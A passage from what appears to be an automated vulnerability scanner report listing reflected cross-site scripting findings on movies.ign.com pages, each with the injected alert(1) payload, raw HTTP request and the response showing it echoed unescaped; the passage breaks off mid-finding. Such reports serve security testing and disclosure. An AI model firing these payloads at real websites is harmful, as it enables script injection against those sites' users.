This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?2c32f"-alert(1)-"ddc24aa5966=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:37 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-1368686358-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043617356v-1n-12mc+1297043617356mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 148407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Movies: Traile
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/?2c32f"-alert(1)-"ddc24aa5966=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.271. http://movies.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 248e0"><script>alert(1)</script>42a8df6b0b8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?248e0"><script>alert(1)</script>42a8df6b0b8=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:34 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1091856548-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043614340v-1n-12mc+1297043614340mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 148467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/?248e0"><script>alert(1)</script>42a8df6b0b8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.272. http://movies.ign.com/articles/114/1141199p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1141199p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29726"-alert(1)-"7eeac5e4a70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1141199p1.html?29726"-alert(1)-"7eeac5e4a70=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:31 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-2114509937-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043611131v-1n-12mc+1297043611131mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107700

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1141199p1.html?29726"-alert(1)-"7eeac5e4a70=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.273. http://movies.ign.com/articles/114/1141199p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1141199p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20ecc"><script>alert(1)</script>48745bd64b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1141199p1.html?20ecc"><script>alert(1)</script>48745bd64b7=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:25 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-828130881-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043605148v-1n-12mc+1297043605148mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 108476

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1141199p1.html?20ecc"><script>alert(1)</script>48745bd64b7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.274. http://movies.ign.com/articles/114/1142532p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1142532p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 569bc"-alert(1)-"9d2b809a9f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1142532p1.html?569bc"-alert(1)-"9d2b809a9f7=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1515979162-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043616793v-1n-12mc+1297043616793mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 126426

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1142532p1.html?569bc"-alert(1)-"9d2b809a9f7=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.275. http://movies.ign.com/articles/114/1142532p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1142532p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d17e"><script>alert(1)</script>a390d237ff1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1142532p1.html?6d17e"><script>alert(1)</script>a390d237ff1=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:34 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1087655922-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043614103v-1n-12mc+1297043614103mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125776

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1142532p1.html?6d17e"><script>alert(1)</script>a390d237ff1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.276. http://movies.ign.com/articles/114/1145692p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1145692p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4ca3"-alert(1)-"c60e1df0e35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1145692p1.html?d4ca3"-alert(1)-"c60e1df0e35=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-278628801-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043616289v-1n-12mc+1297043616289mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129929

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1145692p1.html?d4ca3"-alert(1)-"c60e1df0e35=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.277. http://movies.ign.com/articles/114/1145692p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1145692p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fdcf"><script>alert(1)</script>c47403f53bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1145692p1.html?4fdcf"><script>alert(1)</script>c47403f53bf=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:31 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1235150944-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043611905v-1n-12mc+1297043611905mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129816

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1145692p1.html?4fdcf"><script>alert(1)</script>c47403f53bf=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.278. http://movies.ign.com/articles/114/1146818p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1146818p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload af10a"-alert(1)-"94c37bb0121 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146818p1.html?af10a"-alert(1)-"94c37bb0121=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:26 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-1744235293-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043606487v-1n-12mc+1297043606487mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1146818p1.html?af10a"-alert(1)-"94c37bb0121=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.279. http://movies.ign.com/articles/114/1146818p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1146818p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13b16"><script>alert(1)</script>cfb4a19e83a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146818p1.html?13b16"><script>alert(1)</script>cfb4a19e83a=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:19 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1591976119-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043599814v-1n-12mc+1297043599814mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115476

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1146818p1.html?13b16"><script>alert(1)</script>cfb4a19e83a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.280. http://movies.ign.com/articles/114/1146819p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1146819p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da175"><script>alert(1)</script>c94f9652f68 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146819p1.html?da175"><script>alert(1)</script>c94f9652f68=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:30 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1064229665-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043610490v-1n-12mc+1297043610490mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115815

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1146819p1.html?da175"><script>alert(1)</script>c94f9652f68=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.281. http://movies.ign.com/articles/114/1146819p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1146819p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b91a"-alert(1)-"3a6a8472868 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146819p1.html?6b91a"-alert(1)-"3a6a8472868=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:35 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-1655169025-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043615169v-1n-12mc+1297043615169mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1146819p1.html?6b91a"-alert(1)-"3a6a8472868=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.282. http://movies.ign.com/articles/114/1147900p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1147900p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8b7e"-alert(1)-"aeb1de63632 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147900p1.html?d8b7e"-alert(1)-"aeb1de63632=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:33 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-993913072-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043613302v-1n-12mc+1297043613302mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109701

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://movies.ign.com/articles/114/1147900p1.html?d8b7e"-alert(1)-"aeb1de63632=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.283. http://movies.ign.com/articles/114/1147900p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1147900p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb3fd"><script>alert(1)</script>4dd25e866bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147900p1.html?cb3fd"><script>alert(1)</script>4dd25e866bd=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:30 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1195602088-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043610317v-1n-12mc+1297043610317mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://movies.ign.com/articles/114/1147900p1.html?cb3fd"><script>alert(1)</script>4dd25e866bd=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.284. http://movies.ign.com/articles/114/1147929p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/articles/114/1147929p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d51f"><script>alert(1)</script>e164fe99c48 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147929p1.html?6d51f"><script>alert(1)</script>e164fe99c48=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:53:27 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-459352389-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043607515v-1n-12mc+1297043607515mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
